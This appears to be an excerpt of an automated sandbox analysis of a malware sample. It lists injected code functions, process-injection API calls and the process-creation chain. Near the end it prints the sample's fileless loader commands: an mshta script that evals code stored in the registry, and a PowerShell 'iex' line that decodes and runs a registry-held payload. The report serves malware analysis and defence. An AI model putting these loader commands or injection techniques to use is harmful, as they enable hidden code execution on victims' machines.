Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CAC3E4 |
20_2_00CAC3E4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA9098 |
20_2_00CA9098 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC8448 |
20_2_00CC8448 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB1C44 |
20_2_00CB1C44 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC0468 |
20_2_00CC0468 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA847C |
20_2_00CA847C |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CBC400 |
20_2_00CBC400 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB4818 |
20_2_00CB4818 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA5420 |
20_2_00CA5420 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB0DC8 |
20_2_00CB0DC8 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CBCDC4 |
20_2_00CBCDC4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CBB1D0 |
20_2_00CBB1D0 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA65A8 |
20_2_00CA65A8 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA29B0 |
20_2_00CA29B0 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC91B0 |
20_2_00CC91B0 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC3D68 |
20_2_00CC3D68 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB8974 |
20_2_00CB8974 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB993C |
20_2_00CB993C |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB52D0 |
20_2_00CB52D0 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CBDEE8 |
20_2_00CBDEE8 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB2A90 |
20_2_00CB2A90 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC9AA8 |
20_2_00CC9AA8 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CAAAB4 |
20_2_00CAAAB4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB5AB4 |
20_2_00CB5AB4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB220C |
20_2_00CB220C |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA5A1C |
20_2_00CA5A1C |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA1638 |
20_2_00CA1638 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA9FC4 |
20_2_00CA9FC4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CACFF8 |
20_2_00CACFF8 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB77A0 |
20_2_00CB77A0 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC1B4C |
20_2_00CC1B4C |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CA3764 |
20_2_00CA3764 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC137C |
20_2_00CC137C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C817548 |
26_2_000002970C817548 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C8159E4 |
26_2_000002970C8159E4 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C801C44 |
26_2_000002970C801C44 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C818448 |
26_2_000002970C818448 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F5420 |
26_2_000002970C7F5420 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C810468 |
26_2_000002970C810468 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F9FC4 |
26_2_000002970C7F9FC4 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F9098 |
26_2_000002970C7F9098 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7FC3E4 |
26_2_000002970C7FC3E4 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F847C |
26_2_000002970C7F847C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7FCFF8 |
26_2_000002970C7FCFF8 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80C400 |
26_2_000002970C80C400 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C804818 |
26_2_000002970C804818 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80993C |
26_2_000002970C80993C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C813D68 |
26_2_000002970C813D68 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C808974 |
26_2_000002970C808974 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C8191B0 |
26_2_000002970C8191B0 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F29B0 |
26_2_000002970C7F29B0 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F65A8 |
26_2_000002970C7F65A8 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F5A1C |
26_2_000002970C7F5A1C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C802A90 |
26_2_000002970C802A90 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C819AA8 |
26_2_000002970C819AA8 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C805AB4 |
26_2_000002970C805AB4 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7FAAB4 |
26_2_000002970C7FAAB4 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80CDC4 |
26_2_000002970C80CDC4 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C800DC8 |
26_2_000002970C800DC8 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80B1D0 |
26_2_000002970C80B1D0 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80220C |
26_2_000002970C80220C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F1638 |
26_2_000002970C7F1638 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C811B4C |
26_2_000002970C811B4C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C81137C |
26_2_000002970C81137C |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C8077A0 |
26_2_000002970C8077A0 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C8052D0 |
26_2_000002970C8052D0 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80DEE8 |
26_2_000002970C80DEE8 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C7F3764 |
26_2_000002970C7F3764 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C82B5A4 |
26_2_000002970C82B5A4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E700C3E4 |
27_2_00000228E700C3E4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7027548 |
27_2_00000228E7027548 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70259E4 |
27_2_00000228E70259E4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7011C44 |
27_2_00000228E7011C44 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7028448 |
27_2_00000228E7028448 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7020468 |
27_2_00000228E7020468 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E700847C |
27_2_00000228E700847C |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7009098 |
27_2_00000228E7009098 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7021B4C |
27_2_00000228E7021B4C |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7003764 |
27_2_00000228E7003764 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E702137C |
27_2_00000228E702137C |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70177A0 |
27_2_00000228E70177A0 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7009FC4 |
27_2_00000228E7009FC4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E700CFF8 |
27_2_00000228E700CFF8 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701C400 |
27_2_00000228E701C400 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7014818 |
27_2_00000228E7014818 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7005420 |
27_2_00000228E7005420 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7001638 |
27_2_00000228E7001638 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7012A90 |
27_2_00000228E7012A90 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7029AA8 |
27_2_00000228E7029AA8 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E700AAB4 |
27_2_00000228E700AAB4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7015AB4 |
27_2_00000228E7015AB4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70152D0 |
27_2_00000228E70152D0 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701DEE8 |
27_2_00000228E701DEE8 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701993C |
27_2_00000228E701993C |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7023D68 |
27_2_00000228E7023D68 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7018974 |
27_2_00000228E7018974 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70065A8 |
27_2_00000228E70065A8 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70029B0 |
27_2_00000228E70029B0 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70291B0 |
27_2_00000228E70291B0 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701CDC4 |
27_2_00000228E701CDC4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7010DC8 |
27_2_00000228E7010DC8 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701B1D0 |
27_2_00000228E701B1D0 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701220C |
27_2_00000228E701220C |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7005A1C |
27_2_00000228E7005A1C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1167548 |
32_2_000001F4F1167548 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F11659E4 |
32_2_000001F4F11659E4 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F114847C |
32_2_000001F4F114847C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1149098 |
32_2_000001F4F1149098 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115993C |
32_2_000001F4F115993C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1163D68 |
32_2_000001F4F1163D68 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F116137C |
32_2_000001F4F116137C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F11577A0 |
32_2_000001F4F11577A0 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1149FC4 |
32_2_000001F4F1149FC4 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F114C3E4 |
32_2_000001F4F114C3E4 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F114CFF8 |
32_2_000001F4F114CFF8 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115C400 |
32_2_000001F4F115C400 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1154818 |
32_2_000001F4F1154818 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1145420 |
32_2_000001F4F1145420 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1168448 |
32_2_000001F4F1168448 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1151C44 |
32_2_000001F4F1151C44 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1160468 |
32_2_000001F4F1160468 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1152A90 |
32_2_000001F4F1152A90 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1169AA8 |
32_2_000001F4F1169AA8 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F11552D0 |
32_2_000001F4F11552D0 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F114AAB4 |
32_2_000001F4F114AAB4 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1155AB4 |
32_2_000001F4F1155AB4 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115DEE8 |
32_2_000001F4F115DEE8 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1161B4C |
32_2_000001F4F1161B4C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1143764 |
32_2_000001F4F1143764 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1158974 |
32_2_000001F4F1158974 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F11465A8 |
32_2_000001F4F11465A8 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F11429B0 |
32_2_000001F4F11429B0 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F11691B0 |
32_2_000001F4F11691B0 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1150DC8 |
32_2_000001F4F1150DC8 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115CDC4 |
32_2_000001F4F115CDC4 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115B1D0 |
32_2_000001F4F115B1D0 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115220C |
32_2_000001F4F115220C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1145A1C |
32_2_000001F4F1145A1C |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1141638 |
32_2_000001F4F1141638 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FFB006 |
40_2_00FFB006 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FF13FA |
40_2_00FF13FA |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_01002D8C |
40_2_01002D8C |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_00401703 NtMapViewOfSection, |
1_2_00401703 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_00401C90 GetProcAddress,NtCreateSection,memset, |
1_2_00401C90 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_004019A0 NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,CreateThread,GetLastError,QueueUserAPC,CloseHandle,GetLastError,TerminateThread,CloseHandle,SetLastError,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError, |
1_2_004019A0 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C55CD1 GetProcAddress,NtCreateSection,memset, |
1_2_03C55CD1 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C59E79 NtMapViewOfSection, |
1_2_03C59E79 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C59A0F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, |
1_2_03C59A0F |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C5B1E5 NtQueryVirtualMemory, |
1_2_03C5B1E5 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE41CB memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, |
1_2_01FE41CB |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE0179 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, |
1_2_01FE0179 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDB156 NtWriteVirtualMemory,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, |
1_2_01FDB156 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE5021 RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, |
1_2_01FE5021 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE0BF5 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, |
1_2_01FE0BF5 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE92D7 GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, |
1_2_01FE92D7 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FF051D GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, |
1_2_01FF051D |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE44DF NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, |
1_2_01FE44DF |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE07E8 NtQueryInformationProcess, |
1_2_01FE07E8 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FEC779 GetProcAddress,NtCreateSection,memset, |
1_2_01FEC779 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDEED0 NtMapViewOfSection, |
1_2_01FDEED0 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDE683 HeapFree,memcpy,memcpy,memcpy,NtUnmapViewOfSection,memset, |
1_2_01FDE683 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FF017E VirtualAlloc,VirtualAlloc,GetLastError,GetLastError,SwitchToThread,GetLastError,GetLastError,RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlExitUserThread,GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, |
1_2_01FF017E |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FEC864 NtQuerySystemInformation,RtlNtStatusToDosError, |
1_2_01FEC864 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FEFBD1 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, |
1_2_01FEFBD1 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FD2357 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, |
1_2_01FD2357 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDB347 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, |
1_2_01FDB347 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE6C90 NtGetContextThread,RtlNtStatusToDosError, |
1_2_01FE6C90 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE0465 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, |
1_2_01FE0465 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FD840D NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, |
1_2_01FD840D |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDA63D memset,NtQueryInformationProcess, |
1_2_01FDA63D |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB74E0 RtlAllocateHeap,NtQueryInformationProcess, |
20_2_00CB74E0 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC70F8 NtCreateSection, |
20_2_00CC70F8 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CBB080 NtMapViewOfSection, |
20_2_00CBB080 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB8844 NtWriteVirtualMemory, |
20_2_00CB8844 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB8078 NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, |
20_2_00CB8078 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CAB964 NtReadVirtualMemory, |
20_2_00CAB964 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CBB164 NtQueryInformationProcess, |
20_2_00CBB164 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CB3104 NtAllocateVirtualMemory, |
20_2_00CB3104 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC4200 NtQueryInformationToken,NtQueryInformationToken,NtClose, |
20_2_00CC4200 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CAC3E4 NtSetContextThread,NtUnmapViewOfSection,NtClose, |
20_2_00CAC3E4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CDB038 NtProtectVirtualMemory,NtProtectVirtualMemory, |
20_2_00CDB038 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C80B164 NtQueryInformationProcess, |
26_2_000002970C80B164 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C814200 NtQueryInformationToken,NtQueryInformationToken,NtClose, |
26_2_000002970C814200 |
Source: C:\Windows\System32\rundll32.exe |
Code function: 26_2_000002970C82B002 NtProtectVirtualMemory,NtProtectVirtualMemory, |
26_2_000002970C82B002 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7018844 NtWriteVirtualMemory, |
27_2_00000228E7018844 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701B080 NtMapViewOfSection, |
27_2_00000228E701B080 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70174E0 NtQueryInformationProcess,RtlDeleteBoundaryDescriptor, |
27_2_00000228E70174E0 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E70270F8 NtCreateSection, |
27_2_00000228E70270F8 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E700C3E4 NtSetContextThread,NtUnmapViewOfSection, |
27_2_00000228E700C3E4 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E701B164 NtQueryInformationProcess, |
27_2_00000228E701B164 |
Source: C:\Windows\System32\cmd.exe |
Code function: 27_2_00000228E7024200 NtQueryInformationToken,NtQueryInformationToken, |
27_2_00000228E7024200 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F115B164 NtQueryInformationProcess, |
32_2_000001F4F115B164 |
Source: C:\Windows\System32\PING.EXE |
Code function: 32_2_000001F4F1164200 NtQueryInformationToken,NtQueryInformationToken, |
32_2_000001F4F1164200 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FF5021 memset,CreateMutexA,CloseHandle,GetUserNameA,RtlAllocateHeap,NtQueryInformationProcess,OpenProcess,CloseHandle,memcpy,RtlAllocateHeap,OpenEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, |
40_2_00FF5021 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FF0BF5 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, |
40_2_00FF0BF5 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_0100051D GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, |
40_2_0100051D |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FF07E8 NtQueryInformationProcess, |
40_2_00FF07E8 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_0100017E VirtualAlloc,VirtualAlloc,GetLastError,GetLastError,SwitchToThread,GetLastError,GetLastError,RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlExitUserThread,GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, |
40_2_0100017E |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FFC864 NtQuerySystemInformation,RtlNtStatusToDosError, |
40_2_00FFC864 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FFFBD1 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, |
40_2_00FFFBD1 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FEB347 OpenProcess,GetLastError,NtSetInformationProcess,RtlNtStatusToDosError,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, |
40_2_00FEB347 |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FEA63D memset,NtQueryInformationProcess, |
40_2_00FEA63D |
Source: unknown |
Process created: C:\Users\user\Desktop\anIV2qJeLD.exe "C:\Users\user\Desktop\anIV2qJeLD.exe" |
|
Source: unknown |
Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Yy03='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Yy03).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> |
|
Source: C:\Windows\System32\mshta.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) |
|
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
|
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pqwen5zh\pqwen5zh.cmdline |
|
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe |
Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD669.tmp" "c:\Users\user\AppData\Local\Temp\pqwen5zh\CSC508E00641FC7448693989664B7E60.TMP" |
|
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i3mkzvx5\i3mkzvx5.cmdline |
|
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe |
Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF386.tmp" "c:\Users\user\AppData\Local\Temp\i3mkzvx5\CSCB52324015C2F4AC8AC468C73504A2519.TMP" |
|
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h |
|
Source: C:\Windows\System32\control.exe |
Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h |
|
Source: C:\Windows\explorer.exe |
